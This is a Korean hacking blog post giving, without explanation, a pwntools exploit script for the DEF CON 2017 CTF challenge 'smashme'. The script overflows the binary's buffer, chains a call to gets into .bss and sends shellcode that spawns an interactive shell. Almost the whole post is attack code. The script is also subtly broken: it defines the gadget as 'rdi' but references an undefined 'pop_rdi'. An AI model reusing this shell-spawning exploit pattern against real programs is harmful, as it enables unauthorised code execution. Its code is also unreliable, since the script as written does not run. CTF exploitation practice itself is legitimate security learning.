고졸백수해킹일기

defcon2017 smashme (exploit only) 본문

Pwnable

defcon2017 smashme (exploit only)

ExploitSori 2018. 3. 28. 00:54


from pwn import *

import time


context(arch='amd64', os='linux')

overflow = "Smash me outside, how bout dAAAAAAAAAAAbbbbbbbbbbbbbbbbbbbbbbbbbbbbbBBBB"

bss = p64(0x6CB164)

rdi = p64(0x4014d6)

gets = p64(0x40fad0)

shell = asm(shellcraft.sh())


payload = ""

payload += overflow

payload += pop_rdi+bss

payload += gets+bss



s = process("./smashme")

s.sendline(payload)

time.sleep(1)

s.sendline(shell)

s.interactive()

'Pwnable' 카테고리의 다른 글

ARM exploit  (0) 2020.09.12
pdb symbol 수동으로 다운  (0) 2020.08.14
pwntools shellcraft 사용법  (0) 2018.03.15
codegate2014 nuclear  (0) 2018.03.09
codegate2018 BaskinRobins31  (0) 2018.03.06